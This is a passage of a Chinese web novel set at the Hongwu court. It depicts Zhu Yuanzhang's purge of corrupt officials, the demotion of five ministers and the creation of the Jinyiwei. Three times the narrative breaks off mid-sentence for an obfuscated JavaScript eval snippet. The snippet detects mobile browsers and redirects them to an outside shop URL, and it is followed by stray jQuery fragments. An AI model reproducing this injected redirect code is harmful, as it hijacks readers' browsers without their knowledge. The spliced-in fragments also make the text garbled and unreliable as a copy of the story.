这导致了,现在朱安宁就是这詹事府及其附属官署中,需要当值的人里面……品级最高,职权最高的那个。 宋慎是告过假的,他这官职明面上归属鸿胪寺,但是因为涉及宫廷,又日常在东宫当值,所以鸿胪寺的主官们,基本都不管他这个序班…… 他就这样陪站在朱安宁的身边…… 走也不是,不走……也很奇怪。 他又不是詹事府的人…… 他只能伸了伸脖子,看向了詹事府官署内……那群真就是没事找事,甚至还为了抢点活干表现自己,而隐隐有点想干架的同龄人……那是一脸无奈。 结果好死不死。 里面那群小文学、小中舍等人,那是看到宋慎露脸。 直接就是慌到不行。 “嘘……小宋大人看过来了……” “小宋大人不去东宫,在这看着我们干嘛……” “嘘嘘……我们詹事府就不是东宫的了是吧!” “这定是太子派来辅佐詹事大人的……” “那只是少詹事啊!” “糊涂啊,我问你,现在咱们有詹事没有?” “没有啊……” “没有的话朱大人他就是詹事。” “妙啊~妙啊~” “嘘别吵了,小宋大人好像没看了,一会他去朱大人那里参你一本,有你好受的!” “哎呀,那能怎么办啊,这书我拿出来又放回去,都磨了一个时辰功夫了……以后不是天天都要这样吧……” “哎,要不我们凑点钱,给这朱大人送点礼?” “好主意。” “但是……这朱大人都不知道哪里跳出来的,谁知道他喜欢什么嘛……” “你去问?” “我不去……那你去?” “我也不去……” 几个人推搡着,没有得出任何结论。 手头上的事情却也是一点都不敢停。 那是要多难受有多难受。 整个小院,最舒服的。 现在是,躺在屋外太师椅上,舒服安睡过去的……朱安宁。 ———————————— 在朱安宁出发去詹事府点卯的时候。 应天府的早朝,也开始了。 文武百官,都顺着宫门正在走向大殿。 往日相熟的官员们,三三两两都会聚集在一起,聊聊最近发生的事情。 但是今日,气氛很是沉默。 特别是六部的几个大佬。 那几个尚书。 没有人敢靠近他们。 也没有人敢问,他们的侍郎哪去了。 昨日六部侍郎,郎中下狱的消息,已经传遍了应天府。 朱元璋没有想要隐瞒这些事情。 而昨夜,更炸裂的消息传来。 离应天府最近的一位布政使,被押送回了京城里。 一省之长,就这般锒铛入狱。 而后,更多消息,纷沓而至。 后面还有十一位布政使…… 当地的政事,已经暂时交由地方总兵监管。 这事的炸裂程度,差不多就是在整个明朝官场上,投下了一颗大伊万。 昨夜,有许多官员,是一夜没睡。 还有不少,睡不着就算了,还被毛骧带着亲卫,从自己府上,被抓了出来。 一夜,共计七十多人被抓。 昨夜的应天府,并不安宁。 很多人听着外面的吵闹,是心知肚明的。 随着官员们陆续到位。 早就在龙椅上等着百官的 朱元璋,是笑意盈盈。 朱标站在一边,背着手,是在闭目养神。 毕竟……昨日他喝得也不算少。 司礼太监看着时间已到,连忙唱道:“有事启奏!” 无事退朝这种废话,在洪武朝基本是懒得说的。 老朱这种工作狂,无事退朝? 咱发的俸禄这么好拿的? 不给咱007,像话? 不同于往日的默认由高到低,各部逐个上去汇报昨日的事情。 今天的百官沉默得有些可怕。 朱元璋看着下方的百官,拍了拍自己的龙椅,然后扶着自己的腰带站了起来。 他摸了摸手指。 在台上踱步。 脚步很重。 每一步都砸在百官们心间。 问心无愧的,那是直接就开始闭目养神。 如李文忠刘伯温等人。 有点关系却又相对没陷那么深的,如李善长,有点不安,却也是提前知道了朱元璋的态度,没有太过害怕。 而剩下那些…… 那就是直接惴惴不安了。 昨日朱元璋清扫的,都是职位较高,明确在毛骧明代内,且经过朱标审查,证据明确的官员。 职位没那么高的,也在昨夜让毛骧按名单去抓了。 今日,他还需要清扫烂肉旁边的那些被污染的组织。 具体怎么扫,他想看看大伙的表现。 “咳咳,太子,昨日犯人已经收监了吧。” 明明是在向朱标问话,朱元璋却是朗声对下方说着。 百官们一个机灵。 所有人都知道,又有大事拉开序幕了。 只是他们都以为,不会这么直接的…… “禀父皇,昨日下午,六部及其它官署,共计九人,夜晚又捕七十八人,外官布政使十二人一人已归案,十一人路上,地方官吏名单已交由各行省总兵,代为逮捕。” 朱标睁眼,说着没有多少情感。 而下面的百官,却已经直接炸锅。 9,78,12……还有最重要的,地方居然直接就派武官去抓了…… 不出意外的,官员们躁动了起来。 “哎呀,一下抓了不少人啊。”朱元璋似在感叹。 直接又一下把众官吓得鸦雀无声。 “你们说,这贪官啊,都杀了一两千年了,怎么就杀不完呢?你们说,是不是贪官的脖子比较硬,咱的刀子不够利,他们不怕呢?” 朱元璋还在踱步。 一股肃杀的气息,开始在大殿弥散开来。 有官员已经开始颤抖,冒汗。 不怕刀? 开玩笑,谁不怕。 又不是人人都是耐诛王。 只不过他们在拿到白花花的银子和银票时,暂时忘却了这份恐惧罢了。 就像赌狗在赌的时候,那是无比的快乐,却又会再每次输光钱后痛哭流涕再也不赌了。 于是,全员噤声,只有朱元璋继续在那表演他的单口相声。 “十二个行省啊,整整十二个,和六部串通一气,坑害百姓,盗卖官粮……不,不止是官粮,只要是他们经手的,那是能拿就拿,不能拿也要想办法拿。” 朱元璋,终于是敛去了笑意。 他如同一头猛虎,终于张开了獠牙。 除去没有主官的工部,剩下那五部的尚书,那是直接就出列跪了下去。 昨日他们就已经收到了消息。 自己部里的侍郎,郎中,都被一扫而空。 是一个没留那种。 硬要说的话,好像就工部的侍郎,赵集没有被抓。 其他侍郎,郎中,无一幸免。 那五部的尚书知不知道自己下面的人在干嘛呢? 是知道的。 但是官场上,盘根错节,有人的地方,就有江湖。 朝堂,本就是最高级的那个江湖。 陷在这湖里的五部尚书,本身是没怎么贪的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378798|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他们根本无力阻止下面的贪。 这事情再寻常不过。 盛唐有贪官,五代十国有,文人治国的宋有,马上得天下的元有。 所以他朱元璋一个碗开局缔造的大明,凭什么就不能有。 士大夫们都觉着这是在正常不过的事情。 有人选择不贪,但是他们无法选择阻止别人贪。 睁一只眼,闭一只眼,或许是最好的做法。 可惜,老朱好像不是很认可这种做法呢。 五部尚书都是各自叹了口气。 昨夜到现在,他们已经做好了身死的准备了。 只求老朱能网开一面,放过自己的家人。 于是,他们互相对视了一眼,然后出列,跪在了地上。 伏得很低……很低。 “微臣有罪,御下不严,纰漏频出,有辱皇恩……” 几人开始谢罪。 百官们多少有点心有戚戚。 按照他们对朱老板的理解,尚书大人们……大抵是要无了。 至于那些直接贪墨的,已经下狱的,恐怕,三族都算少了…… 这一次,朱老板的行动怎么如此快速… …快速到,好像这事他已经凑备了很久似的。 一众人心里都有种惊惧的感觉。 是朱老板用了什么手段,开始监视他们了? 不对劲,总之很不对劲。 朱元璋也没管百官们怎么想。 他看着伏倒在地的那几个尚书。 看不出喜怒。 朱标也跟到了他身后。 宫殿又陷入了沉寂之中。 所有人都在等朱元璋的回应。 偏偏他又在此刻,沉默不语。 过了半晌,老朱眼睛一眯,深吸了口气。 “吏部、户部、礼部、兵部、刑部尚书,尔身为上官,竟不能善辖下属,致使彼等行止失范,大行贪墨之事。如此失职,何颜立于朝堂之上?” “臣……有罪……” 伏倒的五人,那是又连磕了几个头。 善辖下属…… 这种事情,在哪个朝代,都是难难难。 朱标此时上前一步,好似想要说些什么,却又马上被朱元璋拦了下来。 “咱念你们!这些年,还算勤勉,且你们五人!并未涉及盗卖官粮一事!只是督察有疏!死罪,可免!” 朱元璋振了振袖子。 背过了手去。 他又扫视了一眼下方的百官。 只看到人群是立马就喧哗了起来。 这…… 这完全不符合他们的认知啊! 那吏部、户部、礼部、兵部、刑部尚书也是茫然地把脑袋抬了起来。 死罪可免? 不是死有余辜或者死罪难逃之类的词么? 他们都做好心里建设了,跑又跑不了,如果昨晚就跑了的话,指不定还会祸及家人…… 他们都想好了,今天过来上朝就是来赴死的。 怎知道会从朱老板口中听到死罪可免这样的话。 这还是他们认识的朱老板? 于是五人面面相觑起来。 直到那礼部尚书第一个反应过来。 他的发挥非常稳定…… “臣感激陛下隆恩浩荡,饶臣一命!!!此等宽宏大量、仁德之至,实乃臣三生有幸,铭感五内。陛下英明神武,如日中天,照耀万方,泽被四海,臣心悦诚服,钦佩之至。陛下之德,高山仰止,景行行止,臣愿效仿之,虽不能至,然心向往之。愿为陛下肝脑涂地,粉身碎骨,以报万一。臣当铭记此恩,矢志不渝,为陛下效犬马之劳,以尽天年!!!” 直接就把四个尚书干懵逼了。 你这B全说完了,我们说什么? 礼部的都是这个德性是吧。 四人是又恼火又激动,不用死了谁都开心嘛,也连忙跟着说道。 “臣感激陛下隆恩浩荡,饶臣一命!!!” 一时之间,几人都没办法像那礼部尚书一样花团锦簇,但是谢恩还是必须的啊! 朱元璋最开始也是被那礼部尚书,唬了一下,只觉得这鸟人好像和朱安宁有点像…… “死罪可免,但是这尚书,你们也先别当了,回你们部里好好给咱当郎中吧,另外,这一年俸禄,你们也别领了,给咱好好反省吧。” 他把几个尚书,高高举起,然后轻轻落下。 引来的,自然是,举朝哗然。 —————— 今天好像是七夕吧,所以……为什么会有人看我的书呢,为什么呢…… 第一百九十五章 锦衣 杀人是为了什么? 立威,惩戒…… 总之是为了达成某种目的。 那不杀人呢? 如果也能达成这个目的,老朱是乐于去做的。 现在事情的走向并没有超脱他的掌控,这才是最重要的。 他最想拥有的是掌控欲!!! 看着伏身在下面的五部尚书,以及在下面交头接耳说个不停的文武百官。 朱元璋知道可以进行到下一步了。 “余文升!”他站在那台上,点了点那还伏在地上的刑部尚书,接着又喊了声:“吴庸!” 文武百官便看着审刑司吴庸也出列伏在了地上,正是刑部尚书余文升的身边。 “臣在!” “昨夜你们审得如何了,咱让毛骧配合你们,可抓了不少人啊,一个晚上过去了,总归还是问出了点东西吧。” 朝堂,气氛又再次凝重了起来。 文武百官其实都知道了个大概。 毕竟朝堂就是个巨大的关系网,很多东西你知我也知,郭桓等人被抓的事情一出来,什么B事,大家一清二楚。 现在他们怕的是,有的网破洞了,把自己也陷进去,那可不就完犊子了么…… 虽然昨天到昨夜都没抓自己,会不会一会……轮到自己倒霉? 不少人又惴惴不安了起来。 朱元璋踱了几步,咚——咚——咚—— 像是砸到了他们心间。 众人就这般看着老朱回到了龙椅上。 吴庸伏在那里有些颤抖。 这是激动的。 昨夜,他和毛骧配合得很是顺畅。 他突然感受到了一种无边的快感。 那毛骧似乎也是如此。 他们一间一间房子砸开,然后把那些不可一世的官吏,一个个像鸡仔一样拎到地上。 然后居高临下地开始呵斥他们,毛骧那边明晃晃的刀片,加上早就收集好的证据。 那是直接就能让那些官员们,瘫倒在地。 甚至有几个心态差的,是屎尿直流,恶心至极。 一个晚上,抓了七十多号人。 应天府被他们翻了个遍。 权力,审判,这种快感刺激着他坚持到了现在。 也是他颤抖的理由。 深吸一口气,顶着黑眼圈,昨日到现在都没休息过的吴庸,开始了汇报工作。 “启禀陛下,臣吴庸,昨夜与刑部尚书余文升大人一同审讯了郭桓案的主要涉案人员。此案牵涉广泛,情节严重,臣等不敢有丝毫懈怠。经连夜审讯,查明郭桓不仅自己利用职务之便,私吞税粮,还拉拢了北平承宣布政使司官员李彧、提刑按察使司官员赵全德等人,他们与郭桓共同舞弊,私吞太平府、镇江府等府的赋税,降低朝廷税收,同时还征收多种额外的赋税,如各种名目的水脚钱、口食钱等,以中饱私囊。” “只有北平承宣布政使出了问题?只有太平府,镇江府出了问题?” 老朱闭着眼,向下方问道。 把人是问得抖了抖,一个布政使还不够是吧…… “另外十一位布政使……郭桓那边也如实交代了……另外……诸府……都……都有问题。” “共计十二位,另外还诸府都有问题,嘿嘿,大明的半壁江山啊,半壁江山啊,就这么被贪掉了?所以能坚持到现在咱的大明还没垮掉,真是多得了还能站在这里的各位朝臣们尽心尽力的操持啊,各位辛苦啦!” 朱元璋的话没有什么怒气的感觉,他说得风轻云淡。 但是却直接让人开始汗流浃背。 李善长,李文忠还有刘伯温等站在文武百官前列的人,那是立马爽利地伏了下去。 老朱都说得这么明白了,自己还不谢罪就是找死! 而后面那群人又不是弱智。 前面的大官都趴地上了,自己还矗在这里,是觉得自己脑袋很硬,脖子很犟是吧…… 于是,乌泱泱一群人都跪在了地上。 场面多少有些壮观。 “请陛下恕罪!” 求饶倒是整齐划一。 老朱嗤笑了一声,然后又站了起来。 “太子,咱刚才是在夸他们吧,你说他们怎么全跪下了呢?” “父皇,也许是百官,觉得自己还有做得不好的地方吧。” 父子俩,直接是开始唱双簧。 朱标是个有儒风的太子……但是并不代表他不痛恨贪腐。 “你们不起来?”朱元璋又问了句:“那咱们就继续听吴庸说吧,吴庸!继续!你还抓了谁嘛,说道说道,昨天应天府这么热闹,总不能是大伙晚上都不睡觉吧。” “六部……侍郎以下……除赵集赵大人,皆已抓捕,且认罪。” “好啊好啊,六部加起来也就赵集加你们五个尚书好像是没问题的,啧啧。” “臣有罪!”一听又扯到了六部,礼部尚书马邳望……现在应该叫礼部郎中马邳望了,他回答得是又快又大声…… 几个前尚书先郎中,那是识趣地立马跟上。 其实按照律法,他们几个少数都得安个纵容下属的罪名,现在还能安全地 趴在这里,已经是老朱大大的恩情了。 这恩情还不完啊还不完啊…… “有罪的不止你们!!!”朱元璋突然爆呵了一声。 让下面的人伏得更加整齐。 心有屎的那些,更是恨不得把脑袋埋到地板里。 “继续吧。” “指挥佥事毛骧毛大人协助臣,提审了其中几人……他们供述了,直省诸官吏,有问题的,少说有数百之数……” 指挥佥事? 内殿里。 文武百官,除了昨日去过永乐庄吃席的那几人。 都是一阵心里发毛。 指挥佥事毛骧,不是亲军的人么,怎么突然和这审讯司的人扯上关系了…… 这不对劲啊。 只是还未等众人思考,老朱已经发话了。 “名单何在。” “昨夜毛大人协助余大人已经整理出来了,目前在余大人那里。” 功劳要分好。 审讯是他的事,但是罪人名单这种东西,自然还是得由刑部尚书余文升来完成……虽然他现在已经是郎中了。 “拿上来吧。” 老朱使了个眼色给内侍太监。 那太监自然是麻利地赶紧从余文升那里接过了纸张。 密密麻麻。 老朱只是扫了一眼,简单估算了一下便能知道,比起上次毛骧提交的要多上不少。 也就是说直省诸官吏,有问题的,那是一抓一大把。 “真多啊,真多啊,怪不得咱前些年想要北征,一个个的都拦着咱,说什么国库空虚,天灾连连,民不聊生。” 老朱转手把名单递给了朱标,然后长长地叹了口气。 “全他妈是放屁!!!” 又是一声爆喝! “国库空虚?钱粮全进了这些虫豸口袋里,变成了他们的琼楼玉宇!变成了他们的妻妾成群小桥流水!!!还赖天灾???这是人祸!!!” 下方没人敢应声。 老朱随手把放在桌面的奏章,一把甩了下去。 “直省,各府,昨日还在上报说这里缺粮那里缺银!你们睁大自己的狗眼给咱看看,他们还敢报上来!!缺银!缺粮!哈哈哈,我看你们是缺刀子了!” “让咱的子民民不聊生的,是你们!你们啊!” 又是一把奏章甩了下去,砸到了几个官员身上。 但是没有人敢出声。 “吴庸,可以了,剩下的让咱来说吧。” “十二直隶,总兵已经暂接当地政事,查实的涉案官吏,上报刑部,就地抄斩就行,余文升,听见了么!” “臣领命!”余文升伏在那里连忙拜了拜,郎中干尚书的活,哎…… “朝官继续审,让他们把贪的都吐出来,有关联的人也给我吐出来!吴庸,下朝后你继续配合毛骧。” 配合毛骧? 不是毛骧配合自己么? 自己才是审讯司长啊…… 不过看老朱现在的精神状态,谁敢说不。 他也是连忙拜了拜,领了命。 “查实的朝官,也是直接砍了就行,不必什么择日了。” 这话说出来。 不少官员那是直接就把头抬了起来。 脸上全是疑惑。 砍了? 就完了? 啊? 刚才尚书降郎中也就算了。 现在这批听着就罪该万死的人,不是应该要满门抄斩的么? 怎么就好像说是砍一人就行。 这…… 这是朱老板么? 明明刚才他还大发雷霆的。 几个老官甚至揉了揉眼睛,那是相当疑惑。 毕竟胡惟庸案才发生没多久。 三族都去下面团聚的事情,也才发生没多久。 怎么回事? 起码几个主犯来个满门抄斩是没问题的吧? 朱元璋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378799|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是,看到了百官的反应。 他哼了声,继续说了下去。 这次,他的声音大了不少。 “凡涉案处斩者,三族不可再入仕!” 这句话,总归还是说出来了。 李文忠在下面叹了口气。 刘伯温李善长等人也是如此。 这句话,一下在下面炸开。 三族!不可入仕! 这! 你是我亲家,我是你亲家,谁谁是女婿,连襟,各种乱七八糟的联姻,本就是关系网中的一环。 现在这个三族不得入仕,等于是一把火把这网给烧了大半。 和把人杀了没区别啊! 如果一个世界大族,某一房,三族内都没法出一个官,那等于是这个世家,可以除名了。 他们可以经商,可以地主,可以土绅,但是家族无人在朝为官,这些东西都是做不大的啊! 几个心思比较活泛的老臣,是立马就想通了其中的关节。 如那几个阁臣。 都是倒吸了一口凉气。 这是什么绝户计!!!没有任何世家可以在朝中无人的情况下撑过三代啊…… 没杀,但是如杀…… “怎么?你们是看不 得咱仁慈?” 这句话多少有点阴阳怪气。 朱元璋看着下面的人的反应,那是相当解气。 朱安宁通过朱标献上来的计策。 真是绝了。 看下面那人文官的反应就知道。 读书郎读书郎,不入朝为官,当什么读书郎。 但是现在有人敢反对么? 没有。 地上的奏章,牢里的犯人……都实实在在地警告着他们。 不少人把目光是转向了李善长和刘伯温,这两人可是正儿八经的文官首。 大家都希望他们能说说话。 没想到这两老头是伏在那里,好像睡着了一样,谁也不出声。 他们傻啊,这事昨日就讨论过了,宋濂作为最老的大儒都没办法改变这事,他们两有什么好说…… “对了,此事,由毛骧督办。” 老朱又抛出了一个重磅炸弹。 直接把下面的文官炸成了弱智。 毛骧他们不太熟,但是人还是听过的。 亲卫里的一个指挥佥事而已! 别说指挥佥事,就算是他们老大指挥使,也不过就是堪堪达到能上朝的级别而已。 现在派个指挥佥事来督办这案子,是不是…… 几个御史,终于是忍不住了,一把跳了起来。 “陛下,武官督案……这……这……” 一时间没能梳理好语言,这御史多少有点结巴。 朱元璋却是大手一挥。 “即日起,撤亲军都尉府与仪鸾司,改置应天府亲军第十一卫!毛骧任指挥使!” 那几个御史一僵,有些不太明白朱元璋的意思。 朱元璋却也是继续说了下去。 “此卫,就叫锦衣卫吧,锦衣夜行。” “锦衣卫,掌直驾侍卫,护咱安危。司职巡查缉捕,察奸邪,捕叛逆,行监察百官之职!” 监察百官! 锦衣卫?! 于是,百官,又炸了。 如果朱安宁在场他一定会跳起来。 怎么现在就锦衣卫了…… 这玩意,换谁都怕,权柄太重了。巡查缉捕,察奸邪,捕叛逆,行监察百官之职……监察百官,怎么察?老朱也没说啊,没说清的事情,才是最恐怖的! “锦衣卫,督办此案,谁还有意见?” 老朱扫视了一下那几个御史。 最后还是刘伯温醒目,他直接就拉了拉自己的手下,摇了摇头。 示意不要再说。 这锦衣卫的设置时间,实在是巧妙。 发生了大案,文官集团深陷其中,武官贪财的方法普遍比较炸裂,危害其实一般。 但是这些文官,那是能把事情玩出花来的,结果突然就被朱元璋抓现行了,看起来还是证据确凿那种。 协办的看来就是这毛骧了。 携威势而来,现在谁能反对。 再反对,不是直接就是说自己也是贪墨的人么? 这让百官们,很是难受,却又无可奈何。 这锦衣卫,他们好像,就只能这么捏着鼻子,认了。 吴庸也终于是听懂了,为什么他是协助。 感情,这锦衣卫,才是主角啊! 第一百九十六章 都是咱的肱股之臣 毛骧不在殿上。 他还在审刑司的大狱里。 脸上满是狂热的光芒,眼中只有疯狂的欣喜。 锦衣卫指挥使!!! 他终于一跃成为大员了。 踩的是这群贪官污吏的尸体。 这是何等地畅快! “你们停一下,让我来审!”他狞笑着叫停了手下的人。 然后亲自,走进了大狱内。 —————————— 皇宫大殿内。 早朝并没有如此简单,就结束。 锦衣卫的设立,属实是让百官如鲠在喉,却又无处发作。 刘伯温闭着眼睛长叹了一口气。 看来大明,也要开始文武相争了…… 这历史,真就是个圈啊。 老朱看着刘伯温拉住了自家的御史,是满意地点了点头。 他发现自从遇见朱安宁后,不管是刘伯温还是李善长都消停了不少。 说实话,对于以前的功臣勋贵,他前期还算是仁慈的。 只是到了后期,身边的人尽数不在后,才开始陷入癫狂。 那现在这两人消停了,他也不想对他们做些什么,过些日子,这两个老臣,恐怕是时候要致仕了…… 老朱看了眼已经头发鬓白的两人,心中是已然有了决断。 “好啦,没意见就都起来吧,全跪在那里干嘛,有罪论罪,无罪还跪在,就不太好看了吧。” 朱元璋说了两句,也不知道是讥讽还是真话。 一众人终于是得以站起来,回到了自己的位置上。 这出大戏,总于是演了过半。 朱元璋很满意这效果。 但是还不够,还不够……他还要更多! 他又把目光移向了自己的侄儿,也是曾经的养子,李文忠。 昨日从永乐庄回来时,微醺的他,与李文忠在马上,长谈了一路。 那时的李文忠其实也喝了不少。 李文忠是无比感谢朱安宁的。 他李文忠就一个独子,虽然这李九江早年素有神童美谈,但是也是常做些不着调的事情,心智实在是不够成熟。 结果放来永乐庄这里,历练了小半年,那是脱胎换骨,判若两人。 谈吐还有行事不必说,那份自信的感觉,才是李文忠最为惊叹的。 他大概是不知道,李九江,把那几块田种出来,是多么有成就感的一件事。 【三江你可记好了,这田种出来了,你就未来明史上浓墨重彩的一笔,世人都会记得你李三江!!!你!种出来的新粮,能救万民万万民!】 这是有次朱安宁喝完啤酒和李景隆吹嘘的。 这可不是空话。 民族特性使然,我们是不会忘记这种人的。 李三江是记在心里了,也确实相当努力。 最后能把这田给种出来,他功不可没。 所以朱安宁才会推荐说他单种这几样,不比自己差。 这份举荐,后来得到了所有人的认可。 李景隆,能当这江宁屯田千户,可不是因为他是李文忠的儿子。 而是,他能种好这地! 比朱橚都种得要好! 这份蜕变让李文忠是老怀安慰。 自然在酒席上和朱安宁喝了个爽。 幸好他最后也还算克制,才能说能和老朱一边骑马一边说话。 老朱摇晃着脑袋,在马上似乎还算舒服的样子。 前后左右早就被他屏退,这明显是有话要和李文忠说的样子。 可惜李文忠等了老半天,都还是没能等来老朱的话语。 也只能继续在这马背上吹风醒酒。 两边的水稻已经快要进入最后的收割期,左边是朱安宁的永乐庄的,看着就饱满,收成一定差不了。 而右边的确实只能说是中规中矩,算是有收成。 “还是朱安宁有法子啊。”老朱突然开了口,他赞赏地看了眼那饱满的穗粒,很是满意地点了点头:“这收成差不了,他庄里的农民今年又是免租子的,两三年怕不是都饿不着了……” “确实,说来惭愧,我那田里的佃农,过得是完全不如他永乐庄这边的……” “你好像也只是抽三四成吧,已经算少了,但是你看人家永乐庄的佃农,那完完全全是把那朱安宁当做自己的再生父母去看待了啊,说得难听点,他朱安宁振臂一呼,要造咱的反,这庄里几百号人,指不定还真能跟着他举事。” 朱元璋说出了一种看似很滑稽,但是并非不存在的可能。 是把李文忠惊了一身冷汗。 “上位!”他连忙开口,想帮朱安宁辩解。 “急了?你也向着他不是么?不止是你,那诚意伯,赵集,好几个人都向着他吧……有意思,真有意思。” 这番话,让李文忠是更为惊恐。 他一时之间不是很听得懂,朱元璋想表达什么。 只觉得朱安宁好像被扣了一顶很大的帽子! 这会害了他的。 “好啦,保儿,没必要这副表情,咱只是说点实话而已,有时候,真羡慕他啊……” 朱元璋摇了 摇头。 想起了自己刚加入郭子仪麾下的时候…… 那时自己身边的兄弟们,也是真心换真心…… 现在呢? 这点真心,好像也有了点嫌隙…… 朱元璋停下了叹气,他继续说了下去 “今儿已经封朱安宁做少詹事了,又兼了咱亲卫虎贲卫的指挥佥事,你觉得咱这做法怎么样。” “东宫文官首……外加实权指挥佥事,都是实职……我……我觉得权柄可能有点重了,他还年轻,朝堂上鱼龙混杂……他……” 李文忠本来还想含混其词,就像平时他的做派那般。 相对中立。 绝不轻易下场。 除非是大是大非的事情。 只是这次……他不得不开口了。 朱元璋笑着看了一眼他,忽然开口打断道:“权柄重才能做实事,咱给了朝臣们权柄,咱也没看他们做成什么鸟事,倒不如给他朱安宁试试,你说是吧。” “……” “只是这横亘文武啊,说不得是要被人嚼舌头的,到时落一个文不服,武不就,就不好看了。” “上位,你的意思是?” “你之前不是兼了个詹事么,明日,咱给你退下来,东宫有一个文官首就够了,你啊,文成武就的早就是国公了,不需要再挂那么多职了,懂了么?” 风卷过官道。 一个激灵,李文忠酒又醒了大半。 “前几日毛骧给咱查了案,保儿啊,怎么好像也和你有点关系啊。” 朱元璋这个诘问的意味并不浓厚。 但是已经足以让李文忠疯狂回想自己究竟干了什么事情…… 又是一个激灵! 不久前的一场晚宴,浮现在了他脑海里。 “汝南侯梅思祖、吉安侯陆仲亨……”他苦笑着报出了那天和他一起的人。 “还算你老实,保儿,这半个大明,都被这批人贪了,咱杀是肯定要杀他们的,但是有些只是微微有点关系的人,这次咱不想再大肆杀戮了。” “上位仁慈……” “你说说具体是什么情况。” 李文忠哪敢说不。 是老老实实把那天晚宴的内容说得清清楚楚。 其实不过就是蓝玉拉他们吹牛逼,说能搞钱。 完了似乎最后他真的是把他的义子介绍给了汝南侯梅思祖、吉安侯陆仲亨两人。 自己最后是婉拒的了。 没想到这些小事朱元璋都能查到…… “没了?” “上位……我确实只知道这么多。” “汝南侯梅思祖、吉安侯陆仲亨……哼,一会回到应天府,你约他们吃个晚饭吧,告诉他们,把那些钱银给咱退回来,这一年也别领什么俸禄了,明日就给咱滚去沐英蓝玉那边去吧,还是打仗适合他们,没打出点成绩来,让他们死在那边就行!” 说这番话时,老朱好似摇摇晃晃,却又无比清醒。 李文忠没有反驳。 他知道这个结果已经是无比仁慈。在这种情况下,梅思祖、陆仲亨还能有条命在,已经是最好的结局。 他连忙在马背上行了个礼。 “谢过陛下。” “代他们谢?” “不敢……谢陛下宽宏大量,赦免了我的罪过。” “你能有什么罪过,是咱的罪过,是咱,把那些文人想得太过好了,他们不配,他们不配有这么好的日子!哼!” 朱元璋眼中闪过一丝精光。 “明日上朝,咱给你眼色的话,你带个头谢罪吧,让那梅思祖、陆仲亨,把贪的银子双倍上交国库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378800|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 双倍上交国库? 这是什么奇怪的抄家手法…… 虽然有点奇特,但是李文忠是立马就理解的朱元璋的意思,连忙回道。 “是!” 一众人骑着马,不消多久,应天府就在眼前。 李文忠是很快就脱离了队伍。 他需要马上找到汝南侯梅思祖、吉安侯陆仲亨,传达朱元璋的旨意。 而现在的殿内。 朱元璋,是直接看向了李文忠。 文武百官虽然都是站回了队列中。 但是总归是会偷偷抬头看朱元璋的。 李文忠也是如此。 他很快就和老朱对视上了。 昨日约定好的事情,是该做了。 于是,李文忠咬牙,他在众人惊讶的目光中,出列。 直接伏倒在地,是拜了起来。 把百官又是震得瞳孔地震。 今天是要干嘛…… 是一年的大事全放来今早做了是吧。 素有贤名的曹国公怎么都跪上了?! “罪臣李文忠,请陛下赐罪。” 实话说,负罪的感觉并不好受。特别是对李文忠这种人而言。 他可是兢兢业业了一辈子的名臣…… 但是无法子,陛下要求自己,那自己只能这般做。 “哦?曹国公,你怎么也有罪了?” “臣……与汝南侯梅思祖、吉安侯陆仲亨鬼迷心窍,参与了一些粮食生意,如今才知道,那些粮食,就是郭桓 等人所盗取!” 这番话下来,昨日已经被李文忠警告的汝南侯梅思祖、吉安侯陆仲亨也是立马从队列中连滚带爬地到了李文忠的脚边,跪了下来。 “臣有罪!” “哦?你们的意思是,你们原本以为是正常生意才参与进去的对么?” “臣……有罪!” “荒唐,一国公侯,竟然参与这些商贾之事,说出去都丢人,你看这文武百官,哪有你们这样的,你们说说,说说!” 朱元璋哼了两句,又是扫了一圈百官。 那百官不汗流浃背就有假了,谁没有参与商贾之事嘛,当官真为民做主? “不过咱看你们也是有悔过之意,只是这事也不能这般揭过。”朱元璋好像在思考什么。 他大声对吏部尚书的方向……现在应该叫吏部郎中,说道:“今日起,曹国公李文忠,德行有事,不宜再兼詹事府詹事,夺俸禄一年,好好反思!” “至于汝南侯梅思祖、吉安侯陆仲亨,哼,去年已经目无王法被咱夺了一年俸禄,再夺两年!两人即时出发,前往北军前线,任蓝玉部先锋百户,顺便告诉蓝玉,他的义子是好样的,一个人串起来了咱半个大明的官粮生意,咱看着好像都卖到东瀛去了,好手段啊,你们三,要么死在那边,要么打个大胜仗回来,让咱看看你们是否真心悔过!” 李文忠这般属于轻拿轻放。 汝南侯梅思祖、吉安侯陆仲亨还有蓝玉这边话语可就要重得多了。 毕竟,老朱也是慢慢对这批勋贵失去了耐心。 “是!” 李文忠、梅思祖、陆仲亨三人一同领命。 而其后,梅思祖、陆仲亨更是醒目地开始加戏。 